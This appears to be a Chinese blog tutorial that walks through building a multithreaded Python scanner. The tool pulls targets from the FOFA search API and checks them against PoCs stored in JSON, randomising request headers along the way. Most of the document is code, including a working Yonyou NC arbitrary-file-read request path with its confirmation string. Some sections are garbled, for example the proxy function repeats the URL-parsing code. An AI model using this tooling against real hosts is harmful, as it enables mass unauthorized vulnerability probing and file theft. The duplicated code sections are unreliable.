需求分析
1、poc尽可能简单。
2、多线程。
3、联动fofa获取目标。
4、随机请求头.
实现过程
脚本分为三个模块,获取poc及目标、多线程批量请求验证、输出结果。其中批量请求验证包括构造多线程,修改请求参数,发送请求三个部分。
Main函数
在main函数中,主要有三个部分获取poc及目标,多线程(将目标填充到队列,创建多线程并启动)、输出结果。
具体实现如下:
def main(): # 响应Ctrl+C停止程序 signal.signal(signal.SIGINT, quit) signal.signal(signal.SIGTERM, quit) showpocs() ## 获取目标 targetList = getTarget() ## 多线程批量请求验证 thread(targetList) ## 输出结果 putTarget(List)
获取目标
关于目标来源,设计单个目标、从文件中读取多个目标以及根据FoFa语法从FOFA_API中获取目标三种方式。
定义函数getTarget,函数分为两个部分
第一部分为根据 -f Fofa语法
获取目标,默认数目为30条,
第二部分为根据 -u url / -i file / -f num(数目,默认为10)
获取要请求验证的目标,两部分以是否传参poc参数区别,最后返回一个targetList列表。
具体实现如下:
def getTarget(): targetList=[] count=0 if result.poc==None: if result.outfile!=None and result.fofa!=None : # FOFA读取目标 if result.fofa!=None: qbase=result.fofa qbase64=str(base64.b64encode(qbase.encode("utf-8")), "utf-8") print("FOFA搜索:"+qbase) fofa_url="https://fofa.so/api/v1/search/all?email="+email+"&key="+key+"&qbase64="+qbase64+"&fields=title,host,ip,port,city&size=30" try: res=requests.get(fofa_url) results = json.loads(res.text) filepath=result.outfile with open(filepath,'w') as targets: for i in results['results']: targets.write(i[1]+'\n') print(i[1]) count+=1 print("搜索结果有"+str(count)+"条,已保存在"+filepath+"里!") except Exception as e: print(e) sys.exit() else: if result.url!=None or result.file!=None or result.fofa!=None: # 单个目标 if result.url!=None: targetList.append(result.url) # 文件读取目标 if result.file!=None: try: filepath=result.file with open(filepath,'r') as targets: for target in targets.readlines(): targetList.append(target.strip()) except Exception as e: print(e) # FOFA读取目标 if result.fofa!=None: qbase="" pocName = result.poc with open('poc.json',encoding='UTF-8') as f: data = json.load(f) for poc in data: if pocName == poc: qbase=data[poc]['fofa'] qbase64=str(base64.b64encode(qbase.encode("utf-8")), "utf-8") try: fofa_url="https://fofa.so/api/v1/search/all?email="+email+"&key="+key+"&qbase64="+qbase64+"&fields=title,host,ip,port,city&size="+str(result.fofa) res=requests.get(fofa_url) results = json.loads(res.text) print("FOFA搜索:"+qbase) print("搜索结果:"+str(result.fofa)+"条") for i in results['results']: targetList.append(i[1]) # print(targetList) except Exception as e: print(e) return targetList else : sys.exit("参错有误!缺少目标!")
批量请求验证
定义thread函数,封装多线程请求相关代码,需传入获取到的目标参数targetList。
具体实现如下:
def thread(targetList): ## 获取poc poc=poc_load() ## 填充队列 queueLock.acquire() for target in targetList: targetQueue.put(target) queueLock.release() ## 创建线程 threadList = [] threadNum=result.threadNum for i in range(0,threadNum): t=reqThread(targetQueue,poc) t.setDaemon(True) threadList.append(t) for i in threadList: i.start() # 等待所有线程完成 for t in threadList: t.join()
加载POC
请求验证必须使用 -p pocName
参数指定要使用的POC,所有POC在poc.json文件中存储。
具体实现如下
# 加载pocdef poc_load(): if result.poc!=None: poc = result.poc isPoc = False # POC是否存在 # 读取json文件 with open('poc.json',encoding='UTF-8') as f: data = json.load(f) for key in data: if poc == key: isPoc=True if isPoc==False: print("POC 不存在!") sys.exit("请通过--show查看poc列表!") else: return data[poc] else: pass
多线程类
定义reqThread线程类,传入队列以及poc两个参数,封装req请求方法。
具体实现如下:
class reqThread (threading.Thread): def __init__(self, q,poc): threading.Thread.__init__(self) self.q = q self.poc=poc def run(self): try: while not self.q.empty(): queueLock.acquire() target=self.q.get() queueLock.release() if self.req(target): print(target+" is vuln !") List.append(target) else: pass except Exception as e: pass def req(self,url): poc=self.poc payload=urlParse(url)+poc['request']['url'] res=requests.request(method=poc['request']['method'],url=payload,headers=randomheaders(poc),proxies=getProxy(),data=poc['request']['data'],verify=False,timeout=5) if res.status_code==200 and poc['request']['confirm'] in res.text: return True else: return False
其中在req中的请求方法内,存在三个修改请求的方法。
urlParse
对获取到的目标进行文本处理。
# 处理urldef urlParse(url): if "https://" not in url: if "http://" in url: url=url else: url="http://"+url return url
getProxy
指定请求代理。
# 代理def urlParse(url): if "https://" not in url: if "http://" in url: url=url else: url="http://"+url return url
randomHeaders
添加随机User-Agent、referer、XFF等请求头参数值。

输出结果
定义全局变量List,储存要输出的目标,定义输出方法putTarget。
具体实现如下:
List=[]## 输出def putTarget(resultList): if result.file!=None or result.fofa!=None: if len(resultList)!=0 : if result.outfile != None : filepath=result.outfile with open(filepath,'w') as targets: for target in resultList: targets.write(target+'\n') print("验证结果有"+str(len(resultList))+"条,已保存在"+filepath+"里!") else: print("没有发现存在漏洞的目标!") else: pass

Ctrl+C结束线程
# 停止程序def quit(signum, frame): print('You choose to stop me.') sys.exit()def main(): # 响应Ctrl+C停止程序 signal.signal(signal.SIGINT, quit) signal.signal(signal.SIGTERM, quit)
poc.json文件
poc本质为一次HTTP请求,本着简单的原则,仅设计名称、联动fofa的语法、请求头、请求内容、以及验证漏洞存在回显的内容5个字段。
{ "pocname": { "name":"漏洞描述", "fofa":"fofa搜索字符串,特殊符号需要转义", "request": { "method": "", "url":"", "headers": { "referer": "", "User-Agent": "", "X-Forwarded-For": "", "Content-Type": "" }, "data": "", "confirm": "回显字符串" } }, "yonyounc": { "name": "用友NC 任意文件读取", "fofa":"app=\"用友-UFIDA-NC\"", "request": { "method": "get", "url": "/NCFindWeb?service=IPreAlertConfigService&filename=index.jsp", "headers": { "referer": "", "User-Agent": "", "X-Forwarded-For": "" }, "data": "", "confirm": "<%@ page language=" } }}
运行结果
FoFa获取目标
poc验证
总结
代码实现基本功能,已暂时符合自己使用需求,此次实践已完成编写目的,但一些容错机制以及细小功能点还需完善,如输入为空程序运行结果,以及代理模块功能待实现。
通过此次编程,在熟悉Python编程的同时也深感代码功底的薄弱。
不过最后还是学习到不少知识,比如多线程、读写文件、数据类型操作、命令行参数读取、编程模块化思想等。
之后可以多尝试使用python编写小demo工具,避免对编程思维生疏。
